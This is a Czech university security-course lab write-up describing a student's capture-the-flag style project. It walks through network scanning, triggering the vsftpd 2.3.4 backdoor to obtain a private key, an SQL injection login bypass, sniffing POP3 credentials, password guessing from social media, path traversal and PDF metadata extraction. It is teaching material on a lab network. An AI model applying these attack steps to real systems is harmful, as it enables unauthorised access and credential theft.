VUT Brno Fakulta informačních technologií. Projekt 1 Mystery of BIS

Podobné dokumenty
BEZPEČNOST SLUŽEB NA INTERNETU

Metody zabezpečeného přenosu souborů

Správa linuxového serveru: Úvod do poštovního serveru

Linux jako mail server

DŮLEŽITÉ INFORMACE, PROSÍM ČTĚTE!

BI-AWD. Administrace Webového a Databázového serveru Virtualizace HTTP serveru

Pravým tlačítkem na počítač /tento počítač/ a vybrat Spravovat

Analýza síťového provozu. Ing. Dominik Breitenbacher Mgr. Radim Janča

Návod k obsluze IP kamery Zoneway. IP kamery jsou určené pro odbornou montáž.

Site - Zapich. Varianta 1

Základy programování (IZP)

Návod pro připojení do bezdrátové sítě eduroam pro MS Windows 8

Ing. Jitka Dařbujanová. TCP/IP, telnet, SSH, FTP

Západočeská univerzita v Plzni Fakulta aplikovaných věd Katedra informatiky a výpočetní techniky UPS. FTP Klient. A05463 fboranek@atlas.

v. 2425a Jak si na PC vypěstovat HTTP (WWW, Web) server a jak ho používat (snadno a rychle) by: Ing. Jan Steringa

Třídy a objekty. Třídy a objekty. Vytvoření instance třídy. Přístup k atributům a metodám objektu. $z = new Zlomek(3, 5);

Informační systém webhostingu

Anonymní komunikace praktické příklady

Elektronická pošta. elementární služba, výchozí pro některé další jedna z prvních síťových služeb vůbec. základní principy popisují

Secure Socket Layer. SSLv2, SSLv3, TSLv1. Čolakov Todor KIV / PSI

x86 assembler and inline assembler in GCC

Příkaz finger. # finger sam Login: sam Name: Sam Greenfield Directory: /home/sam Shell: /bin/tcsh Last login Sun Dec 25 14:47 (EST) on tty2 No Plan.

Internet protokol, IP adresy, návaznost IP na nižší vrstvy

Přední panel SP3364 SP3367

BEZPEČNOST SLUŽEB NA INTERNETU

Případová studie: Adresářové řešení pro webhosting pomocí ApacheDS. Lukáš Jelínek

Využití OOP v praxi -- Knihovna PHP -- Interval.cz

Laboratorní práce: SNMP - Linux snmputils

Nová cesta ip. Stará cesta ifconfig, route. Network address translation NAT

Audit bezpečnosti počítačové sítě. Předmět: Správa počítačových sítí Jiří Kalenský

Zapomeňte už na FTP a přenášejte soubory bezpečně

Návod pro připojení do bezdrátové sítě eduroam pro MS Windows 7

ové služby na IPv6-only

Linux-příkazový řádek

BASH. Kouzla s příkazovou řádkou. Petr Koloros

Analýza aplikačních protokolů

Notice:Jagran Infotech Ltd. Printed by Fontographer 4.1 on 6/3/2003 at 7:12 PM

Přední panel SP3361 ADSL DATA LAN USB PWR

spolupráce více systémů. . Pro zajištění služby je používáno více aplikačních protokolů, např.: DNS SMTP.

Audit bezpečnosti počítačové sítě

Laboratorní cvičení: Certifikační autorita

Základy programování (IZP)

Kapitola 1 Představení SIP telefonu


Přednáška 5. Identita uživatelů, procesů a souborů. Přístupová práva a jejich nastavení. Úvod do Operačních Systémů Přednáška 5

Počítačové sítě II. 19. FTP, vzdálené přihlašování, SNMP Miroslav Spousta,

Stručný průvodce instalací

.password xklima:$apr $l sbbajg$ruuy FCr urjfjsvlehsf/ Přídání hesla htpasswd.exe -c c:\www_root\vyuka\autentizace\apache\.

DWL-2000AP+ Než začnete. Kontrola obsahu dodávky

Bezpečnost vzdáleného přístupu. Jan Kubr

Nmap port skener. Obsah

Úvod, jednoduché příkazy

TDP RPort 1.0. uživatelská příručka. 12. července 2007 Na slupi 2a, Praha 2

GTS internet DSL. Návod nastavení modemu a spuštění služby. (platné pro Zyxel Prestige 870HN-53b)

ANALÝZA TCP/IP 2 ANALÝZA PROTOKOLŮ DHCP, ARP, ICMP A DNS

MyIO - webový komunikátor

Informační manuál PŘIHLÁŠENÍ DO SÍTĚ NOVELL (ZAMĚSTNANEC, DOKTORAND)

GTS internet DSL. Návod nastavení modemu a spuštění služby. (platné pro Zyxel Prestige VMG1312-B30B)

Praktikum WIFI. Cíl cvičení:

TECHNICKÁ DOKUMENTACE SOCIÁLNÍ SÍŤ MRSHARE. David Malát, Adam Novák, David Vurbs, Dominik Walta. SPŠ Na Proseku 2012/13. Pod velením Davida Vurbse


Identita uživatelů, přístupová práva. Linux


Střední odborná škola a Střední odborné učiliště, Hořovice

Úloha č.1 - TCP Server

Zprovoznění nových userů pro pure-ftpd server (s privátními adresáři)

Spouštění a konfigurace služeb. Přednáška OSY2 verze :00

Embedded SQL v C/C++ úvod. Administrace Oracle Kateřina Opočenská

Operační systémy. Cvičení 4: Programování v C pod Unixem


Návod pro připojení do bezdrátové sítě eduroam pro MS Windows XP

Uživatelský modul. Modem Bonding

metodický list č. 1 Internet protokol, návaznost na nižší vrstvy, směrování

Střední odborná škola a Střední odborné učiliště, Hořovice

Návod pro připojení do sítě (LAN) pomocí kabelu pro MS Windows VISTA

Připojení systémů CNC 8x9 DUAL do sítí pomocí protokolu TCP/IP (Platí od verze panelu 40.31)

People Counter v2. Ver. 2.0

Nastavení Videotelefonu DAHUA

Návod na změnu nastavení modemu s aktivní Wi-Fi ARRIS TG 2494

1 Systémová volání (celkem max. 1b)

M I N I S T E R S T V A V N I T R A

Value - Powerline ethernet adaptér, 85Mbps Katalogové číslo:

Návod pro připojení do bezdrátové sítě eduroam pro MS Windows XP

Návod k instalaci, provozu a údržbě brány MODBUS. Návod k instalaci, provozu a údržbě. Brána Modbus

Řešení pro audit činnosti administrátorů UNIX/Linux serverů

Instalační příručka. pro systém videovrátných XtendLan Víceúčastnický CAT5 systém

TCP2RTU. Transparentní převodník protokolu MODBUS TCP na MODBUS RTU/ASCII. Tři varianty: pro RS422, RS485 a RS232

Téma 11: Firewall v CentOS. Nastavení firewallu

ZyXEL VMG8823. Návod na jednoduchou a rychlou instalaci modemu ZyXEL VMG8823-B50. Budoucnost je úžasná. Ready?

Přednáška 2. Systémy souborů OS UNIX. Nástroje pro práci se souborovým systémem. Úvod do Operačních Systémů Přednáška 2

L i n u x j a k o r o u t e r, f i r e w a l l, D H C P s e r v e r, p r o x y a D N S c a c h e, 2. č á s t

NAS 224 Vzdálený přístup manuální nastavení

Přednáška 8. Proměnné. Psaní a ladění skriptů. Parametry skriptu. Vstup a výstup. Konfigurační soubory shellu. Úvod do Operačních Systémů Přednáška 8

Instalace Packet Radia pod systémem Debian Linux s použitím zvukové karty jako modemu

bit/p9-net.d 10. dubna

Identita uživatele (procesu)

GTS internet DSL. Návod nastavení modemu a spuštění služby. (platné pro P-660HN-T3A )

GRE tunel APLIKA ˇ CNÍ P ˇ RÍRU ˇ CKA

Od CGI k FastCGI. Uvedené dílo podléhá licenci Creative Commons Uved te autora 3.0 Česko.

User manual SŘHV Online WEB interface for CUSTOMERS June 2017 version 14 VÍTKOVICE STEEL, a.s. vitkovicesteel.com

Transkript:

VUT Brno Fakulta informačních technologií Bezpečnost informačních systémů (BIS) 2015/2016 Projekt 1 Mystery of BIS František Němec (xnemec61@stud.fit.vutbr.cz) 2. prosince 2015 1 Smithovo tajemství (A) Přihlásím se přes ssh s privátním klíčem. [stud@xnemec61 ~]$ cd.. [stud@xnemec61 ~]$ ls smith stud Další uživatel smith, ten bude důležitý. Co ta binárka zsnes. [stud@xnemec61 ~]$ strings zsnes I m only a dummy for BIS project (naznačuje, že soubor bude důležitý) su - smith (zase smith, to je náhoda a dokonce su) Dekompiluji kód pomocí Boomerang 1. V jedné větvi je volání system(), tak ho zkusím vyvolat. } else { system(); eax = 0; } } else { Zkusím to pustit přes debugger. Nejprve z objdump zjistím na jakou adresu skočit. $ objdump -d zsnes 804869f: 74 13 je 80486b4 <main+0x1e0> 80486a1: c7 04 24 8b 8a 04 08 movl $0x8048a8b,(%esp) 80486a8: e8 0b fd ff ff call 80483b8 <system@plt> 80486ad: b8 00 00 00 00 mov $0x0,%eax $ gdb zsnes $(gdb) break main $(gdb) run $(gdb) set $pc = 0x80486a1 $(gdb) n su: uživatel smith neexistuje 1 http://boomerang.sourceforge.net/ 1

Dobrý, ale budu muset upravit binárku a tu spustit přímo na serveru. Z objdumpu zjistím, kde v binárce začíná main a kde se nachází volaní system(). Všechno od začátku po movl před volaním system() přeskočím (vložením NOPů). Zkopíruji upravenou binárku na server a spustím. Jsem přihlášen jako smith s prvním tajemstvím a přístupu k nmap. Později jsem zjistil, že stačí použít su - smith a složitý postup uvedený výše byl zbytečný. [smith@xnemec61 ~]$ ls sectet.txt nmap [smith@xnemec61 ~]$ cat secret.txt Ziskali jste tajemstvi "A:17:11:02:00:01:0cd279c7d8 2 Mapování sítě (NMap) Zjištění adresy sítě: [smith@xnemec61 ~]$ ifconfig inet addr:192.168.122.205 Bcast:192.168.122.255 Mask:255.255.255.0 Mapování sítě: [smith@xnemec61 ~]$ sudo nmap -sp 192.168.122.0/24 Příliš mnoho výpisů s připojenými uživateli. Zajímavě vypadají výpisy s ptest. [smith@xnemec61 ~]$ sudo nmap -sp 192.168.122.0/24 grep ptest Nmap scan report for ptest3.local (192.168.122.50) Nmap scan report for ptest1.local (192.168.122.54) Nmap scan report for ptest2.local (192.168.122.98) Nmap scan report for ptest4.local (192.168.122.230) Mapování služeb jednotlivých serverů: [smith@xnemec61 ~]$ sudo nmap -ss -sv 192.168.122.50 [smith@xnemec61 ~]$ sudo nmap -ss -sv 192.168.122.54 21/tcp open ftp vsftpd 2.3.4 3306/tcp open mysql MySQL (unauthorized) [smith@xnemec61 ~]$ sudo nmap -ss -sv 192.168.122.98 110/tcp open pop3 Dovecot pop3d 55555/tcp open http Apache httpd [smith@xnemec61 ~]$ sudo nmap -ss -sv 192.168.122.230 2

3 FTP backdoor (B) Server ptest1 provozuje ftp s backdoorem 2. Připojení přes telnet: [smith@xnemec61 ~]$ telnet 192.168.122.54 21 Trying 192.168.122.54 Connected to 192.168.122.54. 220 (vsftpd 2.3.4) USER x:) 331 Please specify the password. PASS 220 Opened port 58874, take a look ;) telnet 192.168.122.54 58874 Trying 192.168.122.54 Connected to 192.168.122.54. -----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEAxXRaP2hoSg1twOly6p7VMILraMxWNEjj6ZS17gOZysyy42OI bwxhkamuwh+ikmssrnkqm3mssobrmelrq2p1afiq8pnffihka9lq2h+njwallbz6 EBbW8ACoREMr4QxLFqRzHFCdady/nrmIxZIfiZ7mkA3K5IvApWIhs43SHzMhFAEI ZUuvciHkkGYlNckBUbTA6+ox9ThSNlwb+ILrF7DGJelE4GjfdMkDFQ== -----END RSA PRIVATE KEY----- 500 OOPS: Bye Bye. Connection closed by foreign host. Privátní klíč použiji k ssh připojení k nějakému serveru ptest1 funguje: [stud@xnemec61 ~]$ ssh -4 -i id_rsa_54 smith@ptest1 Welcome smith! Last login: Tue Nov 24 12:36:56 2015 from xsarca00.local [smith@ptest1 ~]$ ls file.pcap secret.txt tcpdump telnet [smith@ptest1 ~]$ cat secret.txt Ziskali jste tajemstvi "B:24:11:12:57:01:376a6bcb68" 4 SQL injection (C) Připojení k http serveru ptest1: [stud@xnemec61 ~] elinks http://ptest1 Použití loginu ibreiten@fit.vutbr.cz a hesla OR 1 = 1: Ziskali jste tajemstvi "C:24:11:14:37:01: 1355934b75" 5 Slabé heslo (D) Připojení k http serveru ptest2 (tentokrát na nestandardní port). [stud@xnemec61 ~]$ elinks http://ptest2:55555 Použítí loginu admin a hesla 123456. Ziskali jste tajemstvi "D:24:11:17:09:01: 62e18d7bb2" 2 https://xorl.wordpress.com/2011/07/05/vsftpd-2-3-4-backdoor/ 3

6 Odchycení POP3 přihlašovacích údajů (E) Analýza POP3 paketů co běhají po sítí: [smith@ptest1 ~]$ sudo tcpdump -X port pop3 18:17:43.854819 IP ptest1.local.39432 > ptest2.local.pop3: Flags [P.], seq 7:19, 0x0000: 4500 0040 2ed0 4000 4006 95fe c0a8 7a36 E..@..@.@..z6 0x0010: c0a8 7a62 9a08 006e 0694 b99d a7e1 91d2..zbn.. 0x0020: 8018 0391 3633 0000 0101 080a 6dd3 9769.63m..i 0x0030: 6dba 15b3 5553 4552 2073 6d69 7468 0d0a muser.smith.. 18:17:43.855384 IP ptest1.local.39432 > ptest2.local.pop3: Flags [P.], seq 19:34, 0x0000: 4500 0043 2ed1 4000 4006 95fa c0a8 7a36 E..C..@.@..z6 0x0010: c0a8 7a62 9a08 006e 0694 b9a9 a7e1 91d7..zbn.. 0x0020: 8018 0391 c9f2 0000 0101 080a 6dd3 976a m..j 0x0030: 6dba 15b4 5041 5353 2071 4277 5a48 7a4c mpass.qbwzhzl 0x0040: 310d 0a 1.. Připojení k POP3 serveru s odchytnutým loginem a heslem (v emailu se nachází tajemství E): [stud@xnemec61 ~]$ telnet ptest2 pop3 Trying 192.168.122.98 Connected to ptest2. +OK Dovecot ready. USER smith +OK PASS qbwzhzl1 +OK Logged in. LIST +OK 1 messages: 1 505. RETR 1 +OK 505 octets Return-Path: <root@bis-ptest2.bis.com> X-Original-To: smith@localhost Delivered-To: smith@localhost.bis.com Received: by BIS-ptest2.bis.com (Postfix, from userid 0) id 433495C10; Tue, 3 Nov 2015 20:43:11 +0100 (CET) Message-Id: <20151103194311.433495C10@BIS-ptest2.bis.com> Date: Tue, 3 Nov 2015 20:43:11 +0100 (CET) From: root@bis-ptest2.bis.com (root) To: undisclosed-recipients:; Ziskali jste tajemstvi "E:03:11:20:43:01:d4fbac02b5". 7 Sociální sít (F) Připojení k ptest3 http serveru: [stud@xnemec61 ~]$ elinks http://ptest3 Jeden z doktorandů napsal zajímavý článek: Maroš Barabas @ibarabas Zajímavost z hackingu: Víte kolik informací se dá zjistit o lidech na jejich sociálních sítích? Lidé mnohokrát napíšou i svá hesla. :) 4

Zkusím najít doktorandy na facebooku. Maros Barabas 3 má něco užitečného: Ak hladate nejake info, skuste @fitbis. Ak tomu nerozumiete, nekomentujte. Dakujem. Použití @ před fitbis ukazuje na Twitter 4. Ak ste sa dostali az sem, tak asi hladate nejake info: Vlam sa Abdulah, mam hnede oci, 126cm (v obvode) a moj pes sa vola Charlie. Zkusím se připojit jako některý z doktorandů. Uživatel ibarabas poskytl nápovědu hesla. Invalid password! Hint: Jmeno meho psa Vstup do sítě doktorandů s loginem ibarabas a heslem charlie: Ziskali jste tajemstvi "F:28:11:13:40:01: f3706520fb" 8 Path traversal (G) Připojení na ptest4 http server: [stud@xnemec61 ~] elinks http://ptest4 http://192.168.122.230/index.php?dir=/home/data/web/shared Vstup do home adresáře serveru (přes elinks): http://192.168.122.230/index.php?dir=/home/ data martin pavel radek V Radkově složce se nachází tajemství http://192.168.122.230/index.php?dir=/home/radek/secret.txt Ziskali jste tajemstvi "G:24:11:18:52:01:9739dafa6f" 9 PDF metadata (I) V Pavlově složce se nachází zajímavý email spolu s pdf dokumentem: http://192.168.122.230/index.php?file=/home/pavel/1445685669.vfd00i5a3fm694032.unknown:2,s Ahoj, dokoncil jsem ten dokument. Posilam ti ho v priloze. V textu neni zadna informace, ktera by vedla k tomu, ze jsem to psal ja, tak jak jsme se domluvili. Pro jistotu to ale zkontroluj. Samotný obsah pdf dokumentu není zajímavý, ale metadata už jsou zajímavější zejména klíčová slova. http://192.168.122.230/index.php?file=/home/pavel/document.pdf /Keywords(Ziskali jste tajemstvi "I:03:11:13:13:35:a283eae6d3") 3 https://www.facebook.com/mbarabas 4 http://www.twitter.com/fitbis 5